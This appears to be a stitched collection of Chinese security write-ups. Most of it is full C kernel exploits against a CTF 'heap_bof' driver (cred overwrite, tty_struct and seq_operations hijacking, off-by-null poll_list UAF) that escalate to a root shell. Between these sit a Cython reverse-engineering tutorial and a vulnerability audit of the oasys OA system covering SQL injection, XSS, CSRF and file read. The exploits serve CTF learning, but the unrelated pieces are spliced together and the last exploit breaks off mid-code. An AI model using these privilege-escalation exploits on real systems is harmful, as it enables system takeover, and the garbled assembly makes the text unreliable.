   int fd = open("dev/bof", O_RDWR);
   struct param p = {0xa8, malloc(0xa8), 1};
   ioctl(fd, BOF_MALLOC, &p);
   ioctl(fd, BOF_FREE, &p);
   int pid = fork(); // 这个线程申请的cred结构体obj即为刚才释放的obj。
   if (pid < 0) {
       puts("[-]fork error");
       return -1;
   }
   if (pid == 0) {
       p.buf = malloc(p.len = 0x30);
       memset(p.buf, 0, p.len);
       ioctl(fd, BOF_EDIT, &p); // 修改用户ID
       if (getuid() == 0) {
           puts("[+]root success");
           system("/bin/sh");
       } else {
           puts("[-]root failed");
       }
   } else {
       wait(NULL);
   }
   close(fd);
   return 0;
}

但是此种方法在较新版本 kernel 中已不可行，我们已无法直接分配到 cred_jar 中的 object，这是因为 cred_jar 在创建时设置了 SLAB_ACCOUNT 标记，在 CONFIG_MEMCG_KMEM=y 时（默认开启）cred_jar 不会再与相同大小的 kmalloc-192 进行合并。

// kernel version == 4.4.72
void __init cred_init(void)
{
   /* allocate a slab in which we can store credentials */
   cred_jar = kmem_cache_create("cred_jar", sizeof(struct cred),
                    0, SLAB_HWCACHE_ALIGN|SLAB_PANIC, NULL);
}
// kernel version == 4.5
void __init cred_init(void)
{
   /* allocate a slab in which we can store credentials */
   cred_jar = kmem_cache_create("cred_jar", sizeof(struct cred), 0,
           SLAB_HWCACHE_ALIGN|SLAB_PANIC|SLAB_ACCOUNT, NULL);
} heap overflow

溢出修改 cred ，和前面 UAF 修改 cred 一样，在新版本失效。多核堆块难免会乱序，溢出之前记得多申请一些0xc0大小的obj，因为我们 freelist 中存在很多之前使用又被释放的obj导致的obj乱序。我们需要一个排列整齐的内存块用于修改。

利用思路

1. 多申请几个0xa8大小的内存块，将原有混乱的freelist 变为地址连续的 freelist。

2. 利用堆溢出，修改被重新申请作为cred的ptr[5]凭证区为0。

exp #include <stdio.h>
#include <fcntl.h>
#include <sys/ioctl.h>
#include <unistd.h>
#include <string.h>
#include <stdlib.h>
#include <sys/wait.h>

struct param {
   size_t len;    // 内容长度
   char *buf;     // 用户态缓冲区地址
   long long idx; // 表示 ptr 数组的 索引
};

const int BOF_NUM = 10;

int main(void) {
   int bof_fd = open("/dev/bof", O_RDWR);
   if (bof_fd == -1) {
       puts("[-] Failed to open bof device.");
       exit(-1);
   }

   struct param p = {0xa8, malloc(0xa8), 0};

   // 让驱动分配 0x40 个 0xa8  的内存块
   for (int i = 0; i < 0x40; i++) {
       ioctl(bof_fd, 5, &p);  // malloc
   }
   puts("[*] clear heap done");

   // 让驱动分配 10 个 0xa8  的内存块
   for (p.idx = 0; p.idx < BOF_NUM; p.idx++) {
       ioctl(bof_fd, 5, &p);  // malloc
   }
   p.idx = 5;
   ioctl(bof_fd, 7, &p); // free

   // 调用 fork 分配一个 cred结构体
   int pid = fork();
   if (pid < 0) {
       puts("[-] fork error");
       exit(-1);
   }

   // 此时 ptr[4] 和 cred相邻
   // 溢出 修改 cred 实现提权
   p.idx = 4, p.len = 0xc0 + 0x30;
   memset(p.buf, 0, p.len);
   ioctl(bof_fd, 8, &p);
   if (!pid) {
       //一直到egid及其之前的都变为了0，这个时候就已经会被认为是root了
       size_t uid = getuid();
       printf("[*] uid: %zx\n", uid);
       if (!uid) {
           puts("[+] root success");
           // 权限修改完毕，启动一个shell，就是root的shell了
           system("/bin/sh");
       } else {
           puts("[-] root fail");
       }
   } else {
       wait(0);
   }
   return 0;
} tty_struct 劫持

boot.sh

这道题gadget较少，我们就关了smep保护。

#!/bin/bash

qemu-system-x86_64 \
 -initrd rootfs.img \
 -kernel bzImage \
 -m 512M \
 -nographic \
 -append 'console=ttyS0 root=/dev/ram oops=panic panic=1 quiet kaslr' \
 -monitor /dev/null \
 -s \
 -cpu kvm64 \
 -smp cores=1,threads=1 \
 --nographic 利用思路

在 /dev 下有一个伪终端设备 ptmx ，在我们打开这个设备时内核中会创建一个 tty_struct 结构体，

ptmx_open (drivers/tty/pty.c)
-> tty_init_dev (drivers/tty/tty_io.c)
 -> alloc_tty_struct (drivers/tty/tty_io.c)

tty 的结构体 tty_srtuct 定义在 linux/tty.h 中。其中 ops 项（64bit 下位于 结构体偏移 0x18 处）指向一个存放 tty 相关操作函数的函数指针的结构体 tty_operations 。其魔数为0x5401

// sizeof(struct tty_struct) == 0x2e0
/* tty magic number */
#define TTY_MAGIC        0x5401
struct tty_struct {
   ...
   const struct tty_operations *ops;
   ...
}
struct tty_operations {
   ...
   int  (*ioctl)(struct tty_struct *tty,
           unsigned int cmd, unsigned long arg);
   ...
};

使用 tty 设备的前提是挂载了 ptmx 设备。

mkdir /dev/pts
mount -t devpts none /dev/pts
chmod 777 /dev/ptmx

所以我们只需要劫持 tty_ops 的某个可触发的操作即可，将其劫持到 get_root 函数处。

exp #include <sys/wait.h>
#include <assert.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <unistd.h>

#define BOF_MALLOC 5
#define BOF_FREE 7
#define BOF_EDIT 8
#define BOF_READ 9

void *(*commit_creds)(void *) = (void *) 0xffffffff810a1340;
size_t init_cred = 0xFFFFFFFF81E496C0;

void get_shell()
{
   system("/bin/sh");
}

unsigned long user_cs, user_rflags, user_rsp, user_ss, user_rip = (size_t) get_shell;

void save_status() {
   __asm__(
       "mov user_cs, cs;"
       "mov user_ss, ss;"
       "mov user_rsp, rsp;"
       "pushf;"
       "pop user_rflags;"
   );
   puts("[*]status has been saved.");
}

size_t kernel_offset;

void get_root() {
   // 通过栈上残留地址来绕过 KASLR
   __asm__(
       "mov rbx, [rsp + 8];"
       "mov kernel_offset, rbx;"
   );
   kernel_offset -= 0xffffffff814f604f;
   commit_creds = (void *) ((size_t) commit_creds + kernel_offset);
   init_cred = (void *) ((size_t) init_cred + kernel_offset);
   commit_creds(init_cred);
   __asm__(
       "swapgs;"
       "push user_ss;"
       "push user_rsp;"
       "push user_rflags;"
       "push user_cs;"
       "push user_rip;"
       "iretq;"
   );
}

struct param {
   size_t len;    // 内容长度
   char *buf;     // 用户态缓冲区地址
   long long idx; // 表示 ptr 数组的 索引
};

int main(int argc, char const *argv[])
{
   save_status();

   size_t fake_tty_ops[] = {
       0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
       get_root
   };

   // len buf idx
   struct param p = {0x2e0, malloc(0x2e0), 0};
   printf("[*]p_addr==>%p\n", &p);

   int bof_fd = open("/dev/bof", O_RDWR);

   p.len = 0x2e0;
   ioctl(bof_fd, BOF_MALLOC, &p);
   memset(p.buf, '\xff', 0x2e0);
   ioctl(bof_fd, BOF_EDIT, &p);
   ioctl(bof_fd, BOF_FREE, &p);

   int ptmx_fd = open("/dev/ptmx", O_RDWR);

   p.len = 0x20;
   ioctl(bof_fd, BOF_READ, &p);
   printf("[*]magic_code==> %p -- %p\n", &p.buf[0], *(size_t *)&p.buf[0]);
   printf("[*]tty____ops==> %p -- %p\n", &p.buf[0x18], *(size_t *)&p.buf[0x18]);

   *(size_t *)&p.buf[0x18] = &fake_tty_ops;
   ioctl(bof_fd, BOF_EDIT, &p);

   ioctl(ptmx_fd, 0, 0);
   

   return 0;
} seq_operations 劫持

boot.sh

#!/bin/bash

qemu-system-x86_64 \
 -initrd rootfs.img \
 -kernel bzImage \
 -m 512M \
 -nographic \
 -append 'console=ttyS0 root=/dev/ram oops=panic panic=1 quiet kaslr' \
 -monitor /dev/null \
 -s \
 -cpu kvm64 \
 -smp cores=1,threads=1 \
 --nographic 利用思路

seq_operations 结构如下，该结构在打开 /proc/self/stat 时从 kmalloc-32 中分配。

struct seq_operations {
   void * (*start) (struct seq_file *m, loff_t *pos);
   void (*stop) (struct seq_file *m, void *v);
   void * (*next) (struct seq_file *m, void *v, loff_t *pos);
   int (*show) (struct seq_file *m, void *v);
};

调用读取 stat 文件时会调用 seq_operations 的 start 函数指针。

ssize_t seq_read(struct file *file, char __user *buf, size_t size, loff_t *ppos)
{
   struct seq_file *m = file->private_data;
   ...
   p = m->op->start(m, &pos);
   ...

当我们在 heap_bof 驱动分配 0x20 大小的 object 后打开大量的 stat 文件就有很大概率在 heap_bof 分配的 object 的溢出范围内存在 seq_operations 结构体。由于这道题关闭了 SMEP，SMAP 和 KPTI 保护，因此我们可以覆盖 start 函数指针为用户空间的提权代码实现提权。至于 KASLR 可以通过泄露栈上的数据绕过。

exp #include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/ioctl.h>
#include <unistd.h>
#include <string.h>

struct param {
   size_t len;       // 内容长度
   char *buf;        // 用户态缓冲区地址
   long long idx;// 表示 ptr 数组的 索引
};

const int SEQ_NUM = 0x200;
const int DATA_SIZE = 0x20 * 8;
#define BOF_MALLOC 5
#define BOF_FREE 7
#define BOF_EDIT 8
#define BOF_READ 9


void get_shell() {
   system("/bin/sh");
}

size_t user_cs, user_rflags, user_sp, user_ss, user_rip = (size_t) get_shell;

void save_status() {
   __asm__("mov user_cs, cs;"
           "mov user_ss, ss;"
           "mov user_sp, rsp;"
           "pushf;"
           "pop user_rflags;");
   puts("[*] status has been saved.");
}

void *(*commit_creds)(void *) = (void *) 0xFFFFFFFF810A1340;

void *init_cred = (void *) 0xFFFFFFFF81E496C0;

size_t kernel_offset;

void get_root() {
   // 通过栈上的残留值绕过KASLR。
   __asm__(
       "mov rax, [rsp + 8];"
       "mov kernel_offset, rax;"
   );
   kernel_offset -= 0xffffffff81229378;
   commit_creds = (void *) ((size_t) commit_creds + kernel_offset);
   init_cred = (void *) ((size_t) init_cred + kernel_offset);
   commit_creds(init_cred);
   __asm__(
       "swapgs;"
       "push user_ss;"
       "push user_sp;"
       "push user_rflags;"
       "push user_cs;"
       "push user_rip;"
       "iretq;"
   );
}

int main() {
   save_status();

   int bof_fd = open("dev/bof", O_RDWR);
   if (bof_fd < 0) {
       puts("[-] Failed to open bof.");
       exit(-1);
   }

   struct param p = {0x20, malloc(0x20), 0};
   for (int i = 0; i < 0x40; i++) {
       ioctl(bof_fd, BOF_MALLOC, &p);
   }
   memset(p.buf, '\xff', p.len);
   ioctl(bof_fd, BOF_EDIT, &p);
   // 大量喷洒 seq_ops 结构体。
   int seq_fd[SEQ_NUM];
   for (int i = 0; i < SEQ_NUM; i++) {
       seq_fd[i] = open("/proc/self/stat", O_RDONLY);
       if (seq_fd[i] < 0) {
           puts("[-] Failed to open stat.");
       }
   }
   puts("[*] seq_operations spray finished.");
   
   // 通过溢出，将附近 seq_ops 的指针修改为 get_root地址。
   p.len = DATA_SIZE;
   p.buf = malloc(DATA_SIZE);
   p.idx = 0;
   for (int i = 0; i < DATA_SIZE; i += sizeof(size_t)) {
       *(size_t *) &p.buf[i] = (size_t) get_root;
   }
   ioctl(bof_fd, BOF_EDIT, &p);
   puts("[*] Heap overflow finished.");

   for (int i = 0; i < SEQ_NUM; i++) {
       read(seq_fd[i], p.buf, 1);
   }

   return 0;
}

  

Python代码转换为C代码的时候，将会大大增加框架代码量。

基础教程 | Cython 官方文档中文版(gitbooks.io)

1、正向py->c

先有正向，再有逆向

pip install cython

写一个简单的pyx文件

.pyx 文件是由 Cython 编程语言 "编写" 而成的 Python 扩展模块源代码文件

print("hello")

写一个 setup.py文件

from distutils.core import setup
from Cython.Build import cythonize

setup(
   ext_modules = cythonize("test.pyx")
)

使用命令开始编译

python setup.py build_ext --inplace

生成如下文件

打开test.c发现有几千行代码

单纯的一行python代码，生成为c代码就几千行

调用so文件

2、逆向分析 2.1 字符串类型

_Pyx_CreateStringTabAndInitStrings

全局字符串赋值一般在_Pyx_CreateStringTabAndInitStrings中，该函数中使用的字符串定义数组形如：

typedef struct {
    PyObject **p;
    const char *s;
    const Py_ssize_t n;
    const char* encoding;
    const char is_unicode;
    const char is_str;
    const char intern;
} __Pyx_StringTabEntry;

而字符串是通过__Pyx_StringTabEntry的数组进行初始化的，也就是说当我们在该函数中看到以下伪代码时：

v8 = _mm_unpacklo_epi64(&qword_28A98, "AttributeError");
v9 = 15LL;
v10 = 0LL;
v11 = 0x100;
v12 = 1;

就代表这是一个{&qword_28A98, "AttributeError", 15, 0, 1, 0, 1}的__Pyx_StringTabEntry，也就是说qword_28A98中将要初始化一个内容是"AttributeError"的字符串对象的地址，在后续调用中，调用到AttributeError字符串的地方都会用&qword_28A98指代

2.2 整数类型

_pyx_pymod_exec_chal

qword_29170 = PyLong_FromLong(113LL, v9, v244, v245);
if ( qword_29170 )

qword_29170中将存储一个值为113的整数类型的Python对象。

qword_29600 = PyLong_FromString("2654435769", 0LL, 0LL);
if ( qword_29600 )

大数会用PyLong_FromString函数来初始化，这里qword_29600中将存储一个值为2654435769的整数类型的Python对象，后续用到2654435769的地方将使用qword_29600。

2.3 import写法 v539 = _Pyx_ImportDottedModule_constprop_0(random);
if ( PyDict_SetItem(_pyx_mstate_global_static, random, v539) < 0 )
{

导入``random``模块，同``import random

3、实战分析

这里提供一道自己出的题目，采用了R**加密，流程很简单。

让我们开干

把提供的so文件拖进IDA中

而且这个函数 _Pyx_CreateStringTabAndInitStrings() 非常大，不能反编译

目前不知道这个函数的加密，我们先打印其相关的属性，看看能不能找到蛛丝马迹

import test
dir(test)

发现是R**加密，这样逻辑就清晰了

所以现在的目标是获得R**的秘钥和密文咯，假设R**没有魔改

刚才我们在函数_Pyx_CreateStringTabAndInitStrings 找到了非常类似密文的值

9d7422eabf8baf369c09121f02e940099d9c6b538d88e30aac08

但是没有找到 秘钥，说明秘钥可能就不是字符串，而是byte类型！

我们先搜索R**相关函数

发现代码非常多，暂时先不去分析R**算法

看看哪里调用了我们的R**算法

函数：_pyx_pymod_exec_test

但是byte类型怎么初始化呢？

我们编写一个demo，然后反编译去查看初始化方式即可

demo.pyx

key = b'mykekekeke'
en_flag = b'12312312312312'

demo_setup.pyx

from distutils.core import setup
from Cython.Build import cythonize

setup(
   ext_modules = cythonize("demo.pyx")
)

运行命令

python demo_setup.py build_ext --inplace

先看看c文件

还是很清晰的，直接IDA分析so文件

发现byte类型也存储在函数_Pyx_CreateStringTabAndInitStrings

所以我们再翻阅一下，成功找到类似key的代码

DASCTF{cpython_is_so_easy}

  

简述：

oasys是一个OA办公自动化系统，使用Maven进行项目管理，基于springboot框架开发的项目，mysql底层数据库，前端采用freemarker模板引擎，Bootstrap作为前端UI框架，集成了jpa、mybatis等框架。

下载地址：https://github.com/misstt123/oasys

此项目部署极为简单，我使用的是phpstudy的5.7版本mysql，修改application.properties配置，在IDEA导入oasys.sql数据后，就可以直接运行

并访问后台地址：http://localhost:8088/logins

注意别端口冲突

CSRF：

登录后台，在用户面板处，修改便签功能存在csrf漏洞。

点击修改，抓包，点击生成CSRF的Poc：

将生成Poc的URL复制到浏览器，访问：

访问后，发现已经按照Poc上内容进行了修改：

SQL注入： 代码分析：

在pom文件发现采用mybatis依赖：

全局搜索${

找到outtype参数，定位到xml文件：

符合sql注入条件，于是开始找对应接口，参数，全局搜索allDirector字段：

定位到接口层，于是找接口实现类，发现无，于是全局搜索该接口名称，找哪里引用了此接口：

发现AddController层引用该接口，并通过mapper进行数据库操作，在该controller层搜索原接口方法，定位到具体代码块：

可以看到该参数没有经过任何过滤，于是根据代码块注释进行漏洞复现：

在后台找到通讯录，找到外部通讯录，点击添加联系人：

抓包找到对应数据包：

将localhost换成自己对应的IP，放入sqlmap验证成功：

其实从最初的xml文件来看，其它几个参数也存在sql注入。

存储XSS：

登录后台后，用户处点击修改信息，插入xss代码造成弹窗。

根据提交保存的接口全局搜索：

找到相关信息，根据代码分析，无任何过滤直接存储，造成xss漏洞：

此后台很多地方也均无过滤，可以直接插入xss代码执行。

任意文件读取漏洞：

在控制层UserpanelController处，如下代码存在逻辑错误导致任意文件读取：

可以看出此代码块是用来处理图像请求，并将数据返回到http响应的代码。

这段代码我初看并没看懂，于是对代码进行详细分析：

红框代码逻辑很简单，先传入的f.getPath()值，再通过FileInputStream进行文件读取并返回到http响应。

关键就是f.getPath()的值怎么来的？

如上红框代码，f.getPath()的值来自于rootpath与path的拼接，而path的值则是，先通过request.getRequestURI()获取，再将/image替换为空得来。

但rootpath的值呢？

于是我在该类搜索rootpath找到其定义代码：

发现以@Value注解定义rootpath的值，而@Value注解的作用就是从项目配置文件中获取信息，于是转到配置文件，搜索关键字：rootpath

继续回到controller代码，此时找到rootpath的值，也明白了读取文件的逻辑，于是尝试构造多个/image..路径读取我D盘upload下的文件：

如下图，读取成功：

  

前言

本文我们通过我们的老朋友heap_bof来讲解Linux kernel中off-by-null的利用手法。在通过讲解另一道相对来说比较困难的kernel off-by-null + docker escape来深入了解这种漏洞的利用手法。（没了解过docker逃逸的朋友也可以看懂，毕竟有了root权限后，docker逃逸就变的相对简单了）。

off by null

我们还是使用上一篇的例题heap_bof来讲解这种利用手法，现在我们假设这道题没有提供free，并且只有单字节溢出，并且溢出的单字节只能是NULL，那么我们应该怎麼去利用呢？

利用思路

boot.sh

#!/bin/bash

qemu-system-x86_64 \
 -initrd rootfs.img \
 -kernel bzImage \
 -m 1G \
 -append 'console=ttyS0 root=/dev/ram oops=panic panic=1 quiet nokaslr' \
 -monitor /dev/null \
 -s \
 -cpu kvm64 \
 -smp cores=1,threads=2 \
 --nographic

poll系统调用

/*
*   @fds: pollfd类型的一个数组
*   @nfds: 前面的参数fds中条目的个数
*   @timeout: 事件发生的毫秒数
*/
int poll(struct pollfd *fds, nfds_t nfds, int timeout);

poll_list 结构体对象是在调用 poll() 时分配，该调用可以监视 1 个或多个文件描述符的活动。

struct pollfd {
   int fd;
   short events;
   short revents;
};

struct poll_list {
   struct poll_list *next; // 指向下一个poll_list
   int len; // 对应于条目数组中pollfd结构的数量
   struct pollfd entries[]; // 存储pollfd结构的数组
};

poll_list 结构如下图所示，前 30 个 poll_fd 在栈上，后面的都在堆上，最多 510 个 poll_fd 在一个堆上的 poll_list 上，堆上的 poll_list 最大为 0x1000。

poll_list 分配/释放

do_sys_poll 函数完成 poll_list 的分配和释放。poll_list 的是超时自动释放的，我们可以指定 poll_list 的释放时间。

#define POLL_STACK_ALLOC    256
#define PAGE_SIZE 4096
//(4096-16)/8 = 510(堆上存放pollfd最大数量)
#define POLLFD_PER_PAGE  ((PAGE_SIZE-sizeof(struct poll_list)) / sizeof(struct pollfd))
//(256-16)/8 = 30 (栈上存放pollfd最大数量)
#define N_STACK_PPS ((sizeof(stack_pps) - sizeof(struct poll_list))  / sizeof(struct pollfd))

[...]

static int do_sys_poll(struct pollfd __user *ufds, unsigned int nfds,
       struct timespec64 *end_time)
{

   struct poll_wqueues table;
   int err = -EFAULT, fdcount, len;
   /* Allocate small arguments on the stack to save memory and be
      faster - use long to make sure the buffer is aligned properly
      on 64 bit archs to avoid unaligned access */
               
   /*
   *  [1] stack_pps 256 字节的栈缓冲区, 负责存储前 30 个 pollfd entry
   */
   long stack_pps[POLL_STACK_ALLOC/sizeof(long)];
   struct poll_list *const head = (struct poll_list *)stack_pps;
   struct poll_list *walk = head;
  unsigned long todo = nfds;

   if (nfds > rlimit(RLIMIT_NOFILE))
       return -EINVAL;
   /*
   *  [2] 前30个 pollfd entry 先存放在栈上，节省内存和时间
   */
   len = min_t(unsigned int, nfds, N_STACK_PPS);

   for (;;) {
       walk->next = NULL;
       walk->len = len;
       if (!len)
           break;

       if (copy_from_user(walk->entries, ufds + nfds-todo, sizeof(struct pollfd) * walk->len))
           goto out_fds;

       todo -= walk->len;
       if (!todo)
           break;
       /*
       *  [3] 如果提交超过30个 pollfd entries，就会把多出来的 pollfd 放在内核堆上。
       *  每个page 最多存 POLLFD_PER_PAGE (510) 个entry,
       *  超过这个数，则分配新的 poll_list, 依次循环直到存下所有传入的 entry
       */
       len = min(todo, POLLFD_PER_PAGE);
       /*
       *   [4] 只要控制好被监控的文件描述符数量，就能控制分配size，从 kmalloc-32 到 kmalloc-4k
       */
       walk = walk->next = kmalloc(struct_size(walk, entries, len), GFP_KERNEL);          
       if (!walk) {
           err = -ENOMEM;
           goto out_fds;
       }
   }

   poll_initwait(&table);
   /*
   *  [5] 分配完 poll_list 对象后，调用 do_poll() 来监控这些文件描述符，直到发生特定 event 或者超时。
   *   这里 end_time 就是最初传给 poll() 的超时变量, 这表示 poll_list 对象可以在内存中保存任意时长，超时后自动释放。
   */
   fdcount = do_poll(head, &table, end_time);  
   poll_freewait(&table);

   if (!user_write_access_begin(ufds, nfds * sizeof(*ufds))and)
       goto out_fds;

   for (walk = head; walk; walk = walk->next) {
       struct pollfd *fds = walk->entries;
       int j;

       for (j = walk->len; j; fds++, ufds++, j--)
           unsafe_put_user(fds->revents, &ufds->revents, Efault);
   }
   user_write_access_end();

   err = fdcount;
out_fds:
   walk = head->next;
   while (walk) {    // [6] 释放 poll_list: 遍历单链表, 释放每一个 poll_list, 这里可以利用
       struct poll_list *pos = walk;
       walk = walk->next;
       kfree(pos);
   }

   return err;

Efault:
   user_write_access_end();
   err = -EFAULT;
   goto out_fds;
}

我们可以去找到一些结构体，其头 8 字节是一个指针，然后利用 off by null 去损坏该指针，比如使得 0xXXXXa0 变成 0xXXXX00，然后就可以考虑利用堆喷去构造 UAF 了。

详细流程

1. 首先分配 kmalloc-4096 大小的结构题在ptr[0]；

2. 然后构造这样的poll_list结构体。

3. 利用off-by-null将poll_list->next的最后一个字节改为空。然后大量分配kmalloc-32的obj内存，这里只所以是 32 字节大小是因为要与后面的 seq_operations 配合，并且 32 大小的 object 其低字节是可能为 \x00 的，其低字节为 0x20、0x40、0x80 、0xa0、0xc0、0xe0、0x00。运气好可以被我们篡改后的poll_list->next指到。但对于这道题来说我们没有足够的堆块用于堆喷，所以成功率是极低的。

4. 等待poll_list线程执行完毕，并且我们分配的kmalloc-32被错误释放，分配大量的seq_operations，运气好可以正好被分配到我们释放的kmalloc-32，形成UAF，这样我们就可以利用UAF修改seq_operations->start指针指向提权代码。

5. 提权可以参考上一篇文章，利用栈上的残留值来bypass kaslr。

exp #ifndef _GNU_SOURCE
#define _GNU_SOURCE
#endif

#include <asm/ldt.h>
#include <assert.h>
#include <ctype.h>
#include <errno.h>
#include <fcntl.h>
#include <linux/keyctl.h>
#include <linux/userfaultfd.h>
#include <poll.h>
#include <pthread.h>
#include <sched.h>
#include <semaphore.h>
#include <signal.h>
#include <stdbool.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/ipc.h>
#include <sys/mman.h>
#include <sys/msg.h>
#include <sys/prctl.h>
#include <sys/sem.h>
#include <sys/shm.h>
#include <sys/socket.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <sys/xattr.h>
#include <unistd.h>
#include <sys/sysinfo.h>

#define BOF_MALLOC 5
#define BOF_FREE 7
#define BOF_EDIT 8
#define BOF_READ 9

#define SEQ_NUM (2048 + 128)
#define TTY_NUM 72
#define PIPE_NUM 1024
#define KEY_NUM 199

char buf[0x20];
int bof_fd;
int key_id[KEY_NUM];

#define N_STACK_PPS 30
#define POLL_NUM 0x1000
#define PAGE_SIZE 0x1000

struct param {
   size_t len;        // 内容长度
   char *buf;         // 用户态缓冲区地址
   unsigned long idx; // 表示 ptr 数组的 索引
};

size_t user_cs, user_rflags, user_sp, user_ss;

void save_status() {
   __asm__("mov user_cs, cs;"
           "mov user_ss, ss;"
           "mov user_sp, rsp;"
           "pushf;"
           "pop user_rflags;");
   puts("[*] status has been saved.");
}

void get_shell(void) {
   system("/bin/sh");
}

void qword_dump(char *desc, void *addr, int len) {
   uint64_t *buf64 = (uint64_t *) addr;
   uint8_t *buf8 = (uint8_t *) addr;
   if (desc != NULL) {
       printf("[*] %s:\n", desc);
   }
   for (int i = 0; i < len / 8; i += 4) {
       printf("  %04x", i * 8);
       for (int j = 0; j < 4; j++) {
           i + j < len / 8 ? printf(" 0x%016lx", buf64[i + j]) : printf("                   ");
       }
       printf("   ");
       for (int j = 0; j < 32 && j + i * 8 < len; j++) {
           printf("%c", isprint(buf8[i * 8 + j]) ? buf8[i * 8 + j] : '.');
       }
       puts("");
   }
}

/*--------------------------------------------------------------------------------------------------*/

struct callback_head {
   struct callback_head *next;
   void (*func)(struct callback_head *head);
} __attribute__((aligned(sizeof(void *))));

#define rcu_head callback_head
#define __aligned(x)                    __attribute__((__aligned__(x)))
typedef unsigned long long u64;

struct user_key_payload {
   struct rcu_head rcu;        /* RCU destructor */
   unsigned short datalen;    /* length of this data */
   char data[0] __aligned(__alignof__(u64)); /* actual data */
};

int key_alloc(int id, void *payload, int payload_len) {
   char description[0x10] = {};
   sprintf(description, "pwn_%d", id);
   return key_id[id] = syscall(__NR_add_key, "user", description, payload, payload_len - sizeof(struct user_key_payload), KEY_SPEC_PROCESS_KEYRING);
}

int key_update(int id, void *payload, size_t plen) {
   return syscall(__NR_keyctl, KEYCTL_UPDATE, key_id[id], payload, plen);
}

int key_read(int id, void *bufer, size_t buflen) {
   return syscall(__NR_keyctl, KEYCTL_READ, key_id[id], bufer, buflen);
}

int key_revoke(int id) {
   return syscall(__NR_keyctl, KEYCTL_REVOKE, key_id[id], 0, 0, 0);
}

int key_unlink(int id) {
   return syscall(__NR_keyctl, KEYCTL_UNLINK, key_id[id], KEY_SPEC_PROCESS_KEYRING);
}

/*--------------------------------------------------------------------------------------------------*/

pthread_t tid[40];

typedef struct {
   int nfds, timer;
} poll_args;

struct poll_list {
   struct poll_list *next;
   int len;
   struct pollfd entries[];
};

void* alloc_poll_list(void *args) {
   int nfds = ((poll_args *) args)->nfds;
   int timer = ((poll_args *) args)->timer;

   struct pollfd *pfds = calloc(nfds, sizeof(struct pollfd));
   for (int i = 0; i < nfds; i++) {
       pfds[i].fd = open("/etc/passwd", O_RDONLY);
       pfds[i].events = POLLERR;
   }
   poll(pfds, nfds, timer);
}

void* create_poll_list(size_t size, int timer, int i) {
   poll_args *args = calloc(1, sizeof(poll_args));
   args->nfds = (size - (size + PAGE_SIZE - 1) / PAGE_SIZE * sizeof(struct poll_list)) / sizeof(struct pollfd) + N_STACK_PPS;
   args->timer = timer;

   pthread_create(&tid[i], NULL, alloc_poll_list, args);
}

/*--------------------------------------------------------------------------------------------------*/

struct list_head {
   struct list_head *next, *prev;
};
struct tty_file_private {
   struct tty_struct *tty;
   struct file *file;
   struct list_head list;
};

struct page;
struct pipe_inode_info;
struct pipe_buf_operations;

struct pipe_bufer {
   struct page *page;
   unsigned int offset, len;
   const struct pipe_buf_operations *ops;
   unsigned int flags;
   unsigned long private;
};

struct pipe_buf_operations {
   int (*confirm)(struct pipe_inode_info *, struct pipe_bufer *);
   void (*release)(struct pipe_inode_info *, struct pipe_bufer *);
   int (*try_steal)(struct pipe_inode_info *, struct pipe_bufer *);
   int (*get)(struct pipe_inode_info *, struct pipe_bufer *);
};

/*--------------------------------------------------------------------------------------------------*/

void *(*commit_creds)(void *) = (void *) 0xFFFFFFFF810A1340;
void *init_cred = (void *) 0xFFFFFFFF81E496C0;
size_t user_rip = (size_t) get_shell;

size_t kernel_offset;
void get_root() {
   __asm__(
       "mov rax, [rsp + 8];"
       "mov kernel_offset, rax;"
   );
   kernel_offset -= 0xffffffff81229378;
   commit_creds = (void *) ((size_t) commit_creds + kernel_offset);
   init_cred = (void *) ((size_t) init_cred + kernel_offset);
   commit_creds(init_cred);
   __asm__(
       "swapgs;"
       "push user_ss;"
       "push user_sp;"
       "push user_rflags;"
       "push user_cs;"
       "push user_rip;"
       "iretq;"
   );
}

/*--------------------------------------------------------------------------------------------------*/

int main() {
   save_status();
   signal(SIGSEGV, (void *) get_shell);
   bof_fd = open("dev/bof", O_RDWR);
   int seq_fd[SEQ_NUM];

   printf("[*] try to alloc_kmalloc-4096\n");
   size_t* mem = malloc(0x1010);
   memset(mem, '\xff', 0x1010);
   struct param p = {0x1000, (char*)mem, 0};
   ioctl(bof_fd, BOF_MALLOC, &p);

   printf("[*] try to spary kmalloc-32\n");
   p.len = 0x20;
   for (int i = 1; i < 20; ++i)
   {
       p.idx = i;
       memset(mem, i, 0x20);
       memset(mem, 0, 0x18);
       ioctl(bof_fd, BOF_MALLOC, &p);
       ioctl(bof_fd, BOF_EDIT, &p);
   }

   printf("[*] try to alloc_poll_list\n");
   for (int i = 0; i < 14; ++i)
   {
       create_poll_list(PAGE_SIZE + sizeof(struct poll_list) + sizeof(struct pollfd), 3000, i);
   }

   printf("[*] try to spary kmalloc-32\n");
   p.len = 0x20;
   for (int i = 20; i < 40; ++i)
   {
       p.idx = i;
       memset(mem, i, 0x20);
       memset(mem, 0, 0x18);
       ioctl(bof_fd, BOF_MALLOC, &p);
       ioctl(bof_fd, BOF_EDIT, &p);
   }

   sleep(1);
//    调试用代码
//    p.len = 0x1010;
//    p.idx = 0;
//    ioctl(bof_fd, BOF_READ, &p);

//    printf("[*] p->buf == %p\n", (size_t*)mem[0x1008/8]);

   p.len = 0x1001;
   p.idx = 0;
   memset(mem, '\x00', 0x1001);
   ioctl(bof_fd, BOF_EDIT, &p);

   void *res;
   for (int i = 0; i < 14; ++i)
   {
       printf("[*] wating for poll end\n");
       pthread_join(tid[i], &res);
   }

   for (int i = 0; i < 256; ++i)
   {
       seq_fd[i] = open("/proc/self/stat", O_RDONLY);
   }

   sleep(1);

   for (int i = 1; i < 40; ++i)
   {
       p.idx = i;
       p.len = 0x20;

       ioctl(bof_fd, BOF_READ, &p);
       printf("[%d->0] p->buf == %p\n", i, (size_t*)mem[0]);
       printf("[%d->1] p->buf == %p\n", i, (size_t*)mem[1]);
       printf("[%d->2] p->buf == %p\n", i, (size_t*)mem[2]);
       printf("[%d->3] p->buf == %p\n", i, (size_t*)mem[3]);

       mem[0] = (size_t*)get_root;
       mem[1] = (size_t*)get_root;
       mem[2] = (size_t*)get_root;
       mem[3] = (size_t*)get_root;
